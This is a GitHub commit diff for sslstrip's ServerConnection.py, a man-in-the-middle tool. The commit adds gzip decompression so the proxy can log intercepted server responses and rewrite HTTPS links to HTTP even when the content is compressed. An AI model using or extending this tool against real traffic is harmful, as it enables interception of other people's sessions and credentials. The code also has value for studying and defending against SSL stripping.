Skip to content

Commit cf5a863

Browse files
committed
Support decompressing gzip encoding if it somehow slips by (google does this sometimes).
1 parent 12b2cb5 commit cf5a863

File tree

1 file changed

+11
-2
lines changed

1 file changed

+11
-2
lines changed

sslstrip/ServerConnection.py

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
# USA
1717
#
1818

19-
import logging, re, string, random
19+
import logging, re, string, random, zlib, gzip, StringIO
2020

2121
from twisted.web.http import HTTPClient
2222
from URLMonitor import URLMonitor
@@ -40,6 +40,7 @@ def __init__(self, command, uri, postData, headers, client):
4040
self.client = client
4141
self.urlMonitor = URLMonitor.getInstance()
4242
self.isImageRequest = False
43+
self.isCompressed = False
4344
self.contentLength = None
4445
self.shutdownComplete = False
4546

@@ -87,7 +88,11 @@ def handleHeader(self, key, value):
8788
self.isImageRequest = True
8889
logging.debug("Response is image content, not scanning...")
8990

90-
if (key.lower() == 'content-length'):
91+
if (key.lower() == 'content-encoding'):
92+
if (value.find('gzip') != -1):
93+
logging.debug("Response is compressed...")
94+
self.isCompressed = True
95+
elif (key.lower() == 'content-length'):
9196
self.contentLength = value
9297
elif (key.lower() == 'set-cookie'):
9398
self.client.responseHeaders.addRawHeader(key, value)
@@ -114,6 +119,10 @@ def handleResponseEnd(self):
114119
HTTPClient.handleResponseEnd(self)
115120

116121
def handleResponse(self, data):
122+
if (self.isCompressed):
123+
logging.debug("Decompressing content...")
124+
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
125+
117126
logging.log(self.getLogLevel(), "Read from server:\n" + data)
118127

119128
data = self.replaceSecureLinks(data)

0 commit comments

Comments
 (0)